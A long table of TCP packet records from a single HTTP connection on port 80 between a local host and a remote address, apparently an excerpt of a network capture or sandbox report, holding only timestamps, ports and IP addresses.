Dec 6, 2023 14:50:51.247143030 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247155905 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.247164965 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247200966 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.247215033 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247251034 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247284889 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.247287035 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247359991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247395039 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.247526884 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247550011 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247571945 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247591019 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.247594118 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247628927 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.247632027 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247653961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247675896 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247687101 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.247697115 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247718096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247729063 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.247752905 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247775078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247787952 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.247796059 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247817039 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247828007 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.247838020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247858047 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247875929 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.247880936 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247901917 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247914076 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.247924089 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247956991 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.248013020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248061895 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248096943 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.248116016 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248138905 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248173952 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.248176098 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248231888 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248254061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248262882 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.248275995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248296976 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248308897 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.248320103 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248341084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248354912 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.248378038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248414040 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.248526096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248548985 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248579979 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248588085 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.248601913 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248622894 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248640060 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.248645067 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248675108 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248692036 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.248697042 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248724937 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248734951 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.248764038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248800039 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.248814106 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248838902 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248873949 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.248877048 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248925924 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248955011 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248961926 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.248976946 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.248999119 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249011993 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.249020100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249041080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249053001 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.249104023 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249136925 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.249178886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249233961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249267101 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.249274969 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249356985 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249392986 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.249394894 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249418020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249454975 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.249583006 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249608040 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249644041 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.249644041 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249666929 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249701023 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.249728918 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249751091 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249773026 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249787092 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.249795914 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249833107 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249833107 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.249856949 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249880075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249891043 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.249914885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249937057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249948978 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.249958992 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249979973 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.249994040 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.250001907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250044107 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250061035 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.250066042 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250087023 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250099897 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.250111103 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250132084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250144958 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.250154972 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250190973 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.250196934 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250232935 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250268936 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.250308037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250444889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250469923 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250483036 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.250559092 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250593901 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.250593901 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250641108 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250667095 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250679970 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.250689983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250711918 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250722885 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.250746965 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250768900 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250780106 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.250790119 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250823975 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.250824928 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250848055 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250869989 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250881910 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.250890970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250922918 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.250926018 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250947952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250969887 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.250981092 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.251004934 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251027107 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251044035 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.251049042 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251070976 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251080990 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.251085997 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251116037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251125097 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.251136065 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251157999 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251168013 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.251194000 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251230001 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251230955 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.251329899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251353025 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251364946 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.251373053 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251388073 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251411915 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.251430035 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251452923 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251466990 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.251475096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251508951 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.251509905 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251533031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251554012 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251565933 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.251589060 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251624107 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.251625061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251661062 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251694918 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.251697063 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251745939 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251769066 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251780987 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.251802921 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251826048 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.251840115 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.251991034 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252015114 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252029896 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.252053976 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252075911 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252089024 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.252111912 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252146959 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.252150059 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252186060 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252219915 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.252234936 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252271891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252294064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252306938 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.252321005 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252343893 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252361059 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.252366066 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252388000 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252399921 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.252408981 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252444983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252444983 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.252480984 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252516985 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.252543926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252567053 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252600908 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.252629995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252651930 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252682924 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.252748966 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252841949 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.252881050 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.252975941 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253027916 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253050089 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253062963 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.253083944 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253119946 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.253122091 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253160954 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253192902 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253194094 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.253215075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253247976 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.253251076 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253273010 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253304958 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.253345966 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253401995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253436089 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.253447056 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253468990 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253501892 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.253504992 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253526926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253560066 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.253561974 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253618002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253642082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253653049 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.253849030 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253916025 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253937960 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253961086 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253982067 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.253997087 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.253997087 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.254003048 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254021883 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.254041910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254064083 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254084110 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.254086971 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254122972 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254126072 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.254158020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254198074 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.254208088 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254230022 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254251957 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254265070 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.254272938 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254293919 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254309893 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.254314899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254337072 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254348993 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.254384995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254406929 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254417896 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.254426956 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254450083 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254467010 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.254472971 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254493952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254511118 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.254544973 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254580021 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.254581928 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254808903 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254832029 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254847050 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.254856110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254877090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254888058 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.254913092 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254936934 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254954100 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.254957914 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254980087 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.254996061 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.255016088 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255050898 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.255052090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255089045 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255122900 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.255125999 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255203009 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255237103 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255239010 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.255278111 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255312920 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.255341053 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255420923 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255445957 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255460024 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.255482912 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255506039 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255517006 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.255563974 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255595922 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255598068 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.255742073 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255765915 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255785942 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.255789042 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255810976 CET	80	49705	172.67.165.204	192.168.2.5
